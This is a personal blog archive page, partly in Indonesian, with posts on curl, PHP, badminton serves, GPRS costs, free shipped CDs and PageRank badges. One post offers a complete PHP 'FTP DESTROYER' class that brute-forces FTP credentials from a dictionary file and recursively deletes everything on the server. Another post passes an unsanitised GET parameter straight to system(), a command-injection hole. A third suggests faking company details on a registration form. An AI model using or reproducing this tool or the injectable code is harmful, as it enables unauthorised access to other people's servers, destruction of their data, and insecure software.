Archive | Tips ‘n tricks RSS for this section

Twitter status update via curl

Sometimes,,you just need to waste your time just to sending status update to your twitter.

Here’s my suggestion to make your wasting time more wasted :),, by sending twitter status update via curl in bash scripting environment.

vi some-file.sh, and write this bunch of code :

#!/bin/bash
/usr/local/bin/curl --basic --proxy 10.2.249.250:8080 --user $1:$2 --data status="$3" twitter.com/statuses/update.xml

Then save the file using (:wq!)
give chmod +x some-file.sh to your script
Here you can call your script using :
./some-file.sh username passwd "your status"

I recommend to use (“) in your status,,,so that the script can detect that everything in between ” is your status..

have fun !

Advertisements

Front End Logging (tail -f stuff)

Entering a new coding environment (working in a national company), I’ve got several things learned.

One of the important is that I have to take care of every logging activities. It means that people needs me to write any transaction (success, fail, or error) to a flat file.

After my application’s been launching live, the “operation people” can check the log file for any transaction activities using unix command :

tail -f <log_file>

hmmmm…

Rather than supply them with backend checking, I’d prefer to make it (checking log file) into frontend using php.

Here’s the code I scratch to “tail” the log file in FrontEnd :

<html>
<head>
<script language="javascript">
setInterval ( "window.scrollBy(0,100)", 5 );
</script>
</head>
<body>
<a href="http://localhost/tesapps">Click</a>
<?
if(!empty($_GET))
{
$page = $_GET[log]; //supply this GET variable with path to log file
system("tail -f $page");
}
else
echo "<h1>Please provide log file to read !</h1>";
?>
</body>
</html>

With this code, I can simulate tail activities in web browser

nice, huh? ๐Ÿ™‚

Mengambil service jitu pada badminton

Beberapa pujangga mengatakan kalo hidup itu belum lengkap kalo tanpa cinta

Tapi kalo menurut gw mah hidup ini gak lengkap kalo kamu gak mempunyai suatu hal yang sangat loe gemari, untuk gw itu adalah badminton.

Gw mungkin udah menyukai badminton sejak kecil banget, waktu itu maennya masih di jalanan kosong, tapi beranjak dewasa mulai ikutan klub dan maen agak serius.

Diantara banyak teknik badminton, yang paling gw kuasai adalah teknik service. Tidak sedikit lawan maen gwa yang langsung `mati langkah` seketika abis gw service. Intinya gw berfilosofi bahwa kalo kita bisa dapet angka dari service doang, maka pastinya gak perlu ngeluarin tenaga banyak2 untuk pukul2an. Setidaknya ketika service, buatlah supaya lawanmu kesulitan semaksimal mungkin, minimal dia gak bisa balikin bola secara sempurna.

Kira-kira begini cara gwa mengambil service. Ini khususnya berlaku untuk maen ganda (untuk maen single bakal dijelaskan di posting lainnya). Lo boleh ngambil secara forehand ataupun backhand, tergantung prefernya gmana. Tapi kalo mo service forehand, pastikan bola lu terukur matang.

Untuk ngambil forehand, sebaiknya lo ambil service di posisi 9 pada gambar lapangan di atas. Lihat kedudukan musuh lo :

  • kalo terlalu depan, buat bolanya tinggi dan cepat (lob semi drive, tapi jangan terlalu pendek kalo ga mau di-smash) ke arah nomor 1.
  • kalo agak ke depan tengah atau samping kiri, buat bola drop shot lambat jatuh ke arah nomor 3, biasanya untuk mengambil service cara ini, bola jatuh (ketika mo service) di samping kanan badan (dan kedudukan badan agak condong ke kanan). Biasanya dengan teknik ini, musuh akan mengira bola salah kamar ataupun out belakang. Padahal kalo cara ngambil lo bener, itu bakal masuk secara sempurna.
  • kalo dia agak ke belakang, ATAU lo ngeliat kalo dia lagi lengah posisinya, buat bola drop shot cepat jatuh dan pendek (pastikan bola-nya tidak tinggi, sebisa mungkin hanya selisih beberapa cm ketika melewati net) ke arah nomor 4. Dengan bola ini, hampir bisa dipastikan musuh akan off-side dan kelabakan, tentunya dengan syarat bahwa bola kamu tidak melayang jauh dan akhirnya out.
  • JANGAN pernah mengambil service forehand ke arah nomor 2, kecuali kalo kamu bisa menahan smash cambuk kuda

Untuk mengambil service backhand, pastikan posisimu di nomor 8. Kombinasikan bola yang ke arah 4 atau 2. Buat beberapa bola masuk ke arah 1. Kombinasi ini dimaksudkan agar service-mu tidak mudah ditebak.

Pada service backhand, ataupun forehand, jika kamu memberikan bola ke arah 4, bersiap-siaplah untuk membalas netting lawan (karena hampir bisa dipastikan jika musuh bisa membalikkannya, maka ia akan mengambil netting).

Sekian. Selamat bermain !!!

php class : FTP DESTROYER

Have you heard ’bout php? sure….

Have you heard ’bout ftp extension in php? sure…

In here, I want to share you a php class that can demolish any ftp server in this world, actually it needs little modification in order that this class could work perfectly.

Just for you to know, http://phpclasses.org have rejected this class to be published. They said this class is dangerous and so on. So, will you heard ’em?

This is the class in php 5
<?
class FTP
{
private $address = "";
private $username = "";
private $password = "";
public $conn;
private $startingdir = "";
private $output = "";

public function FTP($address = "localhost", $output = "output.log")
{
$this->address = $address;
$this->output = $output;
$this->conn = ftp_connect($this->address) or die("Couldn't connect to $address");
}

function __destruct() {
ftp_close($this->conn);
}

public function login($username = "anonymous", $password = "", $force = false, $startingdir = "")
{
if($startingdir != "") $this->startingdir = "/$startingdir";
$this->username = $username;
$this->password = $password;
if($force)
{
while( !ftp_login($this->conn, $this->username, $this->password) )
;
return true;
}
else
return ftp_login($this->conn, $this->username, $this->password);
}

public function doBruteForceLogin($dictionaryfile, $startingdir = "")
{
if($startingdir != "") $this->startingdir = "/$startingdir";
$handle = fopen($dictionaryfile, "r");
while ($userinfo = fscanf($handle, "%s\t%s\n")) {
list ($username, $password) = $userinfo;
if(ftp_login($this->conn, $username, $password))
{
$this->username = $username;
$this->password = $password;

$log = fopen($this->output, ‘a’);
fwrite($log, “$username:$password@$this->address\n”);

fclose($log);

break;
return true;
}
}
fclose($handle);
return false;
}
public function download($filename, $mode = FTP_BINARY, $resume = 0)
{
$handle = null;
$i = 0;
$localfilename = $filename;
$file = explode(".", $localfilename);
$temp = $file[count($file)-2];
while(file_exists($localfilename))
{
$file[count($file)-2] = $temp . "_$i";
$localfilename = implode(".", $file);
$i++;
}
$handle = fopen($localfilename, 'w');
$return = ftp_fget($this->conn, $handle, $filename, $mode, $resume);
fclose($handle);
return $return;
}

public function upload($filename, $mode = FTP_BINARY)
{
$handle = fopen($filename, 'r');
$return = ftp_fput($this->conn, $filename, $handle, $mode);
fclose($handle);
return $return;
}

private function demolishDir($dirname, $verbose = true, $filename = "")
{
$contents = ftp_nlist($this->conn, $dirname);
$username = $this->username;
$password = $this->password;
$address = $this->address;
$toReturn = false;
foreach($contents as $value)
{
$cleanCurrentFilename = substr($value, stripos($value, '/') + 1);
$exactFilename = substr($value, strripos($value, '/') + 1);
if(is_file("ftp://$username:$password@$address/".$cleanCurrentFilename))
{
if($filename == "" || strtolower($filename) == strtolower($exactFilename))
{
if (ftp_delete($this->conn, substr($value,2))) {
if($verbose) echo "$cleanCurrentFilename deleted successfully<br>";
$toReturn = true;
} else {
if($verbose) echo "Could not delete $cleanCurrentFilename<br>";
}
}
}
else if(is_dir("ftp://$username:$password@$address/".$cleanCurrentFilename))
{
$toReturn = $this->demolishDir($value, $verbose, $filename);
if($filename == "")
{
if (ftp_rmdir($this->conn, substr($value,2))) {
if($verbose) echo "$cleanCurrentFilename deleted successfully<br>";
} else {
if($verbose) echo "Could not delete $cleanCurrentFilename<br>";
}
}
}
}
return $toReturn;
}

public function demolish($verbose = true)
{
$contents = ftp_nlist($this->conn, "." . $this->startingdir);
$username = $this->username;
$password = $this->password;
$address = $this->address;
$return = false;
foreach($contents as $value)
{
$cleanCurrentFilename = substr($value, stripos($value, '/') + 1);
if(is_file("ftp://$username:$password@$address/".substr($value,2)))
{
if (ftp_delete($this->conn, substr($value,2))) {
$return = true;
if($verbose) echo "$cleanCurrentFilename deleted successfully<br>";
} else {
$return = false;
if($verbose) echo "Could not delete $cleanCurrentFilename<br>";
}
}
else if(is_dir("ftp://$username:$password@$address/".substr($value,2)))
{
$this->demolishDir($value, $verbose);
if (ftp_rmdir($this->conn, substr($value,2))) {
$return = true;
if($verbose) echo "$cleanCurrentFilename deleted successfully<br>";
} else {
$return = false;
if($verbose) echo "Could not delete $cleanCurrentFilename<br>";
}
}
if(!$return) break;
}
return $return;
}

public function searchDestroy($filename, $verbose = true)
{
$contents = ftp_nlist($this->conn, "." . $this->startingdir);
$username = $this->username;
$password = $this->password;
$address = $this->address;
$toReturn = false;
echo "<br>";
foreach($contents as $value)
{
$cleanCurrentFilename = substr($value, stripos($value, '/') + 1);
$exactFilename = substr($value, strripos($value, '/') + 1);

if(is_file(“ftp://$username:$password@$address/”.substr($value,2)))
{
if(strtolower($filename) == strtolower($exactFilename))
{
if (ftp_delete($this->conn, substr($value,2))) {
if($verbose) echo “$cleanCurrentFilename deleted successfully<br>”;
$toReturn = true;
} else {
if($verbose) echo “Could not delete $cleanCurrentFilename<br>”;
}
}
}
else if(is_dir(“ftp://$username:$password@$address/”.substr($value,2)))
{
$this->demolishDir($value, $verbose, $filename);
}
}
return $toReturn;
}
private function searchFileInDir($filename, $dirname)
{
$contents = ftp_nlist($this->conn, $dirname);
$toReturn = array();
$username = $this->username;
$password = $this->password;
$address = $this->address;
foreach($contents as $value)
{
$dirname = substr($value, stripos($value, '/') + 1);
$cleanCurrentFilename = substr($value, strripos($value, '/') + 1);
if( is_dir("ftp://$username:$password@$address/" . $dirname) )
{
$toReturn = array_merge($toReturn, $this->searchFileInDir($filename, $value));
}
else if(strtolower($filename) == strtolower($cleanCurrentFilename))
{
$toReturn = array_merge($toReturn, array($value));
}
}
return $toReturn;
}

public function searchFile($filename)
{
$contents = ftp_nlist($this->conn, "." . $this->startingdir);
$toReturn = array();
$username = $this->username;
$password = $this->password;
$address = $this->address;
foreach($contents as $value)
{
$dirname = substr($value, stripos($value, '/') + 1);
$cleanCurrentFilename = substr($value, strripos($value, '/') + 1);
if( is_dir("ftp://$username:$password@$address/" . $dirname) )
{
$toReturn = array_merge($toReturn, $this->searchFileInDir($filename, $value));
}
else if( strtolower($filename) == strtolower($cleanCurrentFilename) )
{
$toReturn = array_merge($toReturn, array($value));
}
}

return empty($toReturn)?false:$toReturn;
}
public function searchDownload($filename)
{
$toReturn = $this->searchFile($filename);
foreach($toReturn as $value)
{
$cleanCurrentFilename = substr($value, strripos($value, '/') + 1);
$cleanCurrentFoldername = substr($value, 1, strripos($value, '/'));
ftp_chdir($this->conn, $cleanCurrentFoldername);
$toReturn = $this->download($filename);
}
return $toReturn;
}
}
?>

Do you have any idea what things can be done using this class. Here’s the list :

  • You could login legally to any ftp server, and upload-or-download-file
  • You could login legally to any ftp server, and : search-file-then-download, search-file-then-delete, demolish-evey-single-folder-and-file-in-those-ftp-server
  • And, the good thing is that you could do above things without have to know the username-password pair to login using doBruteForceLogin function. All you need to have is a file containing complete dictionary to match ’em using bruteforce technique. The format of dictionary is : put every username-password pair in <username><tab><password><newline>

Have a nice try !

Pulsaku Jebol gara-gara GPRS

Gilaaaa….

Cukup butuh satu malam saja (sekitar 3 jam) untuk membuang pulsaku sebanyak +/- Rp 50 rebo lewat GPRS.

Ceritanya gini :

Akhir – akhir ini saya lagi ketagihan online 24 jam lewat GPRS, saya pikir ahh murah kalo gak banyak-banyak koneksi keluar, soalnya pulsanya kan dihitung per kbyte. Kebetulan kartuku Indosat IM3 yang pulsa per kbyte nya Rp 1,-

Beberapa hari yang lalu saya menemukan artikel di internet cara untuk mengkoneksikan PC ke GPRS. Awalnya saya pikir gampang, karena sebelumnya ketika menggunakan Telkomsel, akses nya bisa langsung melalui Nokia PC Suite (di situ ada wizard untuk setting koneksi GPRS Telkomsel, tapi tidak untuk selainnya ๐Ÿ˜ฆ ).

Ternyata cara nya cukup gampang juga, cukup menambahkan parameter command AT :

at+cgdcont=1,โ€IPโ€,โ€www.indosat-m3.netโ€

diย  modem yang bersangkutan. Kira-kira tempatnya tuh di Connect To -> Nokia 9500 (kebetulan HP ku Nokia 9500, jadi nama modemnya juga bersesuaian).

Terus, ketika ingin berkoneksi, arahkan modem ke nomor telepon *99***1#, dengan username : gprs, password : im3 (Omong-omong, setting ini khusus untuk Indosat IM3 doang loh :-))

Tiga hari berlalu dimana saya meng-online kan diri saya selama 24 jam tanpa muncul masalah yang cukup serius dengan keuangan saya. Dalam waktu 3 hari itu, saya cuma habis sepuluh ribu (maklum cuma koneksi Yahoo Messenger ama wikipedia dan googling sekali-kali)

Di hari keempat, terjadi masalah yang sangat serius. Ketika itu, saya meninggalkan komputer dalam keadaan online untuk waktu yang cukup lama (5 jam). Saat itu saya tertidur untuk menunggu waktu sahur puasa hari keenam.

Ternyata komputer ku mendownload update untuk browser Mozilla Firefox. Waktu terus berjalan dengan aktivitas download illegal (tak kuketahui :p) di komputer yang ternyata menguras pulsa handphoneku sebanyak 50 rebu (untungnya pulsa di handphone memang tinggal segitu, sehingga kerugian yang lebih banyak bisa terhindar :p).

Ketika bangun sahur (belum mengetahui musibah yang terjadi), saya merasa heran : “Kok koneksi GPRS di komputer terputus” (FYI biasanya gak pernah terjadi kecuali memang sengaja diputus).ย  Ketika kucek jumlah pulsanya, ternyata tinggal Rp 160,-

Argghhhh………… (sialnya nasib anak kos ini….. hiks..)

Yang gratis dan legal di Internet

Kalo lagi ngomongin masalah internet, pasti lah banyak yang gratis. Namanya juga dunia sharing community.

Sudah jelas kan?

Eit…eit…, jangan pergi dulu. Bukan itu yang ingin saya angkat di sini.

Ada yang lebih spesifik. Pernahkan kalian mendengar kata-kata ship it for free (nah, yang gratis-gratis nih banyak yang demen). Iya, sesuatu yang gratis, tapi bukan hanya gratis, tapi juga di – ship for free ke alamat rumah kalian, tapi yang saya tahu kebanyakan barang-barang spesifik developer (kecuali kalian bisa menambahkan informasi lain yang gratis dan umum, maksudnya bukan hanya untuk kepentingan developer).

Di antaranya yang gratis tersebut ialah :

  • Paket CD Ubuntu di https://shipit.ubuntu.com , paket Operating System Ubuntu gratis yang dikemas dalam bentuk Compact Disk. Bakal dikirim ke alamat rumah kalian dimanapun kalian berada, berapapun yang kalian pesan. Anehnya, terdapat perbedaan di berbagai kota di Indonesia, maksudnya biaya pengirimannya. Kalo saya, di Bandung, sewaktu dikirim ke kosan, pak posnya minta uang pengiriman Rp 7000 . Tapi, waktu saya nanyain ke temen yang kuliah di Unbraw Malang, katanya mereka full gratis (gak dimintain sepeser pun sama pak posnya). Ahh, kalo yang ini mungkin permasalahan korupsi pak posnya aja :((
  • Java Development IDE Netbeans, di http://www.netbeans.org/about/cd-form.html .Kalo ini, ialah sepaket CD instalasi Development Kit Netbeans. Dikhususkan pada kaum JAVA (hehehe, maksudnya yang suka ngoding pake JAVA). Pesen aja tuh, berapapun gratis. 3 bulan nyampe rumah, pasti daah…..
  • Majalah bulanan (atau 3 bulanan) ORACLE, nah kalo yang ini baca di sini http://www.oracle.com/oramag/misc/s_and_a.html . Dengan membuat akun dan menuliskan alamat kalian, sebuah majalah akan dikirimkan dalam waktu secepatnya ke alamat tersebut. mantapp !!. Tapi, untuk yang satu ini, kalian harus nipu-nipu dikit, soalnya ada field perusahaan yang harus diisikan ketika registrasi. Masukin nama perusahaan palsu aja, dan tulis aja kalo jabatan kalian director, udah selesai. ORACLE gak bakal ngecek lagi apakah perusahaannya fiktif atau asli. Enak kan, lumayan untuk baca-baca sambil boker ๐Ÿ˜€

Baru segini yang saya tahu. Nanti di-update lah kalo ada informasi lagi.

Kalo ada saran, jangan sungkan-sungkan isi komentar, kawan !

Ingat yang ada fitur ship it free atau semacamnya yah ๐Ÿ™‚

Nilai Google PageRank situs kita

Udah pada tau PageRank kan?

Itu lho, algoritma pengkaitan situs yang sampai saat ini dipakai oleh situs search engine terbesar, google.com . Ditemukan (mungkin lebih tepat dikodekan :-)) oleh Larry Page ama Sergey Brin . Sebenernya mereka itu kalo gak salah asalnya (nenek moyang) dari Rusia gitu, tapi karena konflik dengan pemerintaan komunis, keluarganya pindah ke Amerika. Dan sekarang mereka calon orang terkaya nomor wahid. Betapa bodohnya negara Beruang merah, karena telah menyia-nyiakan keluarga yang hyper-cerdas ini.

Dengan nilai PageRank yang dikeluarkan oleh mesin-mesin gigantisme mereka, hasil pencarian yang kita minta pada situs google ditampilkan berdasarkan rankingnya. Semakin sesuai situs kita dengan query pencarian, semakin besar rangkingnya, dan semakin diprioritaskan pula situs kita dalam daftar hasil pencarian mereka.

Nah, perhitungan rangking tersebut, salah satunya dipengaruhi oleh nilai PageRank situs. Semakin tinggi nilai PageRank nya, semakin diprioritaskan. Nah, permasalahannya bagaimana perhitungan pageRank itu sendiri. Jawabannya bisa dilihat di situs wikipedia(situs ini tidak melayani penjelasan algoritma yang rumit :D). Yah, kira-kira berdasarkan history pencarian sebelumnya lah.

Omong-omong, kita bisa loh mengetahui berapa skor PageRank kita. Banyak tersebar situs yang menyediakan fasilitas PageRank calculator, di antaranya http://pr.blogflux.com/. Di situs itu, kalian bisa memasukan url suatu situs, dan kemudian situs akan memberikan sebuah gambar yang menyatakan nilai pageRank nya

seperti ini : . Gambar tersebut, mengeluarkan nilai pageRank dari halaman ini.

Nah, kalo mau cepet (gak mau nyamperin situsnya), saya akan kasih clue bagaimana memasukan gambar penghitung nilai pageRank suatu halaman situs dengan script html aja. Kira-kira begini :

  1. Masukan tag <img> yang diarahkan pada alamat url http://pr.blogflux.com/pr.php (jangan pergi ke halaman ini), kira-kira seperti ini : <img src=’http://pr.blogflux.com/pr.php&#8217; />
  2. Sisipkan kode tersebut pada halaman html situs anda
  3. Kode tersebut akan mengeluarkan sebuah gambar yang menyatakan nilai PageRank dari halaman situs dimana kode tersebut berada. Jika ditaruh pada halaman https://antonrifco.wordpress.com/index.php , maka akan mengeluarkan nilai PageRank dari halaman https://antonrifco.wordpress.com/index.php
  4. Sebagai informasi, layanan ini diberikan oleh situs http://pr.blogflux.com, ada banyak layanan serupa yang diberikan oleh situs lain, selengkapnya di situs-situs penyedia PageRank calculator